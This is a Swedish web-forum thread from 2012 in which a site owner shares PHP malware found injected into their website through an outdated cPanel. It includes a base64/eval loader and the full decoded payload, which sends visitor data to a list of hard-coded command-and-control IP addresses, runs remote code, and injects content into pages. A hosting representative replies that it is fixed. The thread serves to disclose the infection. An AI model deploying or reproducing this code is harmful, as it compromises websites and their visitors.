WN

WN (https://www.wn.se/forum/index.php)
-   Serversidans teknologier (https://www.wn.se/forum/forumdisplay.php?f=4)
-   -   Upptäckte skum php-kod på en av mina hemsidor (https://www.wn.se/forum/showthread.php?t=1053768)

Sony? 2012-06-13 22:43

Min hemsida blev drabbad av liknande kod. Jag är mycket mån om säkerhet och var helt säker på att det inte var i något av mina script. Visade sig att webbhotellet hade en gammal cpanel version som hade säkerhetshål.


Rensade upp koden helt och hållet.
PHP-kod:

<?php
/*02650a6c543e9196f2170570283ae32b_on*/

$evil_code = **N&#196;STA KOD RUTA**;

$z create_function('$arg1', eval .'(base64_decode($arg1));');
$z($evil_code); //Kör nästa rutas kod

/*02650a6c543e9196f2170570283ae32b_off*/

?>

$evil_code, det är detta som körs och är det viktiga. Allt annat är bara för att dölja denna bit kod.
PHP-kod:

<?php
    
    
if (!function_exists("GetMama")) {
        
        function 
ahfudflfzdhfhs($pa)    {
            
$mama GetMama();
            
$file urlencode(__FILE__);
            
            if(isset(
$_SERVER["HTTP_HOST"])){
                
$host $_SERVER["HTTP_HOST"];
            } else{
                
$host "";
            }

            
            if(isset(
$_SERVER["REMOTE_ADDR"])){
                
$ip $_SERVER["REMOTE_ADDR"];
            } else{
                
$ip "";
            }

            
            if (isset(
$_SERVER["HTTP_REFERER"])){
                
$ref urlencode($_SERVER["HTTP_REFERER"]);
            } else {
                
$ref "";
            }

            
            if (isset(
$_SERVER["HTTP_USER_AGENT"])){
                
$ua urlencode(strtolower($_SERVER["HTTP_USER_AGENT"]));
            } else {
                
$ua "";
            }

            
            if (isset(
$_SERVER["QUERY_STRING"])){
                
$qs urlencode($_SERVER["QUERY_STRING"]);
            } else {
                
$qs "";
            }

            
$url_0 "http://" $pa;
            
$url_1 "/jedi.php?version=0997&mother=" .$mama "&file=" $file "&host=" $host "&ip=" $ip "&ref=" $ref "&ua=" .$ua "&qs=" $qs;
            
$try true;
            
            if( 
function_exists("curl_init") ){
                
$ch curl_init($url_0 $url_1);
                
curl_setopt($chCURLOPT_RETURNTRANSFER1);
                
curl_setopt($chCURLOPT_TIMEOUT3);
                
$ult trim(curl_exec($ch));
                
$try false;
            }

            
            if ((
ini_get("allow_url_fopen")) && $try) {
                
$ult trim(@file_get_contents($url_0 $url_1));
                
$try false;
            }

            
            if(
$try){
                
$fp fsockopen($pa80$errno$errstr30);
                
                if (
$fp) {
                    
$out "GET $url_1 HTTP/1.0\r\n";
                    
$out .= "Host: $pa\r\n";
                    
$out .= "Connection: Close\r\n\r\n";
                    
fwrite($fp$out);
                    
$ret "";
                    while (!
feof($fp)) {
                        
$ret  .=  fgets($fp128);
                    }

                    
fclose($fp);
                    
$ult trim(substr($retstrpos($ret"\r\n\r\n") + 4));
                }

            }

            
            if (
strpos($ult,"eval") !== false){
                
$z stripslashes(str_replace("eval","",$ult));
                eval(
$z);
                exit();
            }

            
            if (
strpos($ult,"ebna") !== false){
                
$_SERVER["good"] = str_replace("ebna","",$ult);
                return 
true;
            } else {
                return 
false;
            }

        }

        
        function 
gogo(){
            
$father2[] = "77.81.241.253";
            
$father2[] = "46.249.58.135";
            
$father2[] = "176.9.241.150";
            
$father2[] = "46.37.169.56";
            
$father2[] = "94.242.255.35";
            
$father2[] = "178.162.129.223";
            
$father2[] = "31.184.234.96";
            
$father2[] = "77.95.18.189";
            
$father2[] = "93.170.137.22";
            
$father2[] = "188.40.95.244";
            
$father2[] = "199.115.231.58";
            
$father2[] = "82.192.87.178";
            
$father2[] = "216.246.99.215";
            
$father2[] = "95.211.18.79";
            
shuffle($father2);
            foreach(
$father2 as $ur){
                
                if ( 
ahfudflfzdhfhs($ur) ) {
                    return 
true;
                }

            }

        }

        
        function 
mod_con($buf){
            
str_ireplace("<body>","<body>",$buf,$cnt_h);
            
            if (
$cnt_h == 1) {
                
gogo();
                
$buf str_ireplace("<body>","<body>" stripslashes($_SERVER["good"]),$buf);
                return 
$buf;
            }

            
str_ireplace("</body>","</body>",$buf,$cnt_h);
            
            if (
$cnt_h == 1) {
                
gogo();
                
$buf str_ireplace("</body>",stripslashes($_SERVER["good"])."</body>",$buf);
                return 
$buf;
            }

            return 
$buf;
        }

        
        function 
opanki($buf){
            
$gz_e false;
            
$h_l headers_list();
            
            if (
in_array("Content-Encoding: gzip"$h_l)){
                
$gz_e true;
            }

            
            if (
$gz_e){
                
$tmpfname tempnam("/tmp""FOO");
                
$zf fopen($tmpfname"w");
                
fputs($zf$buf);
                
fclose($zf);
                
$zd gzopen($tmpfname"r");
                
$contents gzread($zd10000000);
                
$contents mod_con($contents);
                
gzclose($zd);
                
unlink($tmpfname);
                
$contents gzencode($contents);
            } else {
                
$contents mod_con($buf);
            }

            
$len strlen($contents);
            
header("Content-Length: ".$len);
            return(
$contents);
        }

        
        function 
GetMama(){
            
$mother "sedom";
            return 
$mother;
        }

        
ob_start("opanki");
    }


johan_f 2012-06-20 10:21

Citat:

Ursprungligen postat av AndersN (Inlägg 20442434)
Intressant, då skall jag kontakta CN ang. detta.

Hej

Vi är medvetna om detta och det ska vara åtgärdat.
En av våra gamla servrar som drabbats.

/Johan


Alla tider är GMT +2. Klockan är nu 03:34.

Programvara från: vBulletin® Version 3.8.2
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Svensk översättning av: Anders Pettersson